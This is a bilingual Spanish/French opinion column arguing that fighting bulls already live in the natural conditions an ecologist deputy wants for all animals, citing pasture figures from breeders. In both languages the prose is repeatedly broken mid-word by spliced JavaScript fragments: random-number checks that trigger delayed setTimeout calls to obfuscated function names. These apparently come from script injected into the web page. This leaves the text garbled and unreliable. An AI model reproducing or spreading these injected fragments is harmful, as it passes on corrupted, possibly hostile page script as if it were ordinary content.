EL TORO, UNA UTOPÍA HECHA REALIDADLE TORO, UNE UTOPIE DEVENUE REALITE

Hace unos días leí un interesante artículo de Stephane Foucart. Se titulaba « Lo que la condición animal debe a Internet », y trataba, obviamente, sobre la penosa situación de la vida animal debido a la superproducción seriada de la actual industria agroalimentaria.

Al margen de la ristra de autores animalistas, vegetarianos y veganos que contradicen cómo ha sido la nutrición humana desde el principio de los tiempos, lo que aboca a una polémica excesivamente cargante; y más allá de la mención a libros que parecen defender para el animal un estatus de derechos igual a los humanos -uno de los libros, el de Franz-Olivier Giesbert se titula « El animal es una persona »-, que prometen ser insoportables, la tesis de la pequeña crónica resulta muy asumible.

El horror de la vida animal en las explotaciones intensivas es éticamente indefendible. De difícil solución, pues resulta acorde con la explosión demográfica y la proliferación de megalópolis y sus necesidades de abastecimiento alimentario… aunque un lento proceso de atomización en pequeñas explotaciones agropecuarias pueda imponerse en un lejano futuro si la conciencia ecológica continúa avanzandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando.

Pero lo más relevante del artículo de Foucart, y de gran interés para el conocimiento de los aficionados, es la referencia a una utópica demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda de la diputada ecologista Laurence Abeille, que suplica para los animales, nada más y nada menos, "condiciones de vida conformes a los imperativos biológicos de su especie", utopía que el toro bravo ha conseguido desde hace tres siglos. Según datos de la Unión de Criadores de Toros de Lidia, si se divide el número de hectáreas del habitat de cada explotación por el número de reses que alberga, el promedio de toda la Cabaña Brava otorga 1'2 hectáreas por cada cabeza de ganado. Si a ello se suma que la alimentación del bovino bravo es absolutamente natural y que su desarrollo físico en cuatro años le proporciona un peso similar al conseguido por un bovino de carne o de producción láctea en diez meses, podríamos aseverar que la utopía inalcanzable y deseada por la diputada Abeille es, para el toro, una realidad desde hace trescientos años. Curioso.

Il y a quelques jours j’ai lu un article intéressant de Stéphane Foucart. « Ce que la condition animale doit à Internet » et il parlait, bien entendu, des pénibles conditions de la vie animale dues à la surproduction en série de l’actuelle industrie agroalimentaire.

À part le chapelet d’auteurs engagés dans la défenses animale, végétariens et végétaliens qui contredisent ce qu’a été réellement la nutrition animale depuis le début des temps, ce qui nous débouche sur une polémique excessivement pesante ; et au-delà des livres qui semblent demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander pour l’animal un statut avec des droits similaires aux humains –un de ces livres, celui de Franz-Olivier Giesbert s’intitule « L’animal est une personne »- qui promettent d’être insupportables, la thèse de la petite chronique est facilement acceptable.

L’horreur de la vie animale dans les exploitations intensives est éthiquement indéfendable. D’une solution difficile, car il est parallèle à l’explosion démographique et à la prolifération des mégapoles et de leurs besoins d’approvisionnement alimentaire…même si un lent processus d’atomisation en de petites exploitations agro piscicoles peut s’imposer dans un futur lointain si la conscience écologique continue d’avancer.

Mais le plus remarquable de cet article de Foucart, et de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and intérêt pour que les aficionados le sachent, c’est la référence à une utopique demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande de la député écologiste Laurence Abeille, qui sollicite pour que les animaux rien d’autre que « des conditions de vie conformes aux impératifs de vie de leur espèce », utopie à laquelle le taureau brave est parvenue depuis trois siècles. D’après les chiffres de la Unión de Criadores de Toros de Lidia, si l’on divise le nombre d’hectares de la superficie de chaque exploitation par le nombre de bêtes qui y sont élevées, la moyenne pour l’ensemble de ces élevages est de 1,2 hectares par animal.

Si on ajoute à cela que l’alimentation du bétail brave est absolument naturelle et que sa croissance physique au bout de quatre ans lui permet d’atteindre un poids similaire à celui d’un bovin élevé pour la viandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande ou pour la production laitière au bout de dix mois, nous pourrions affirmer que l’utopie inaccessible et souhaitée par la députée Abeille est, concernant le taureau de combat, une réalité depuis trois cents ans. Curieux, n’est-ce pas ?

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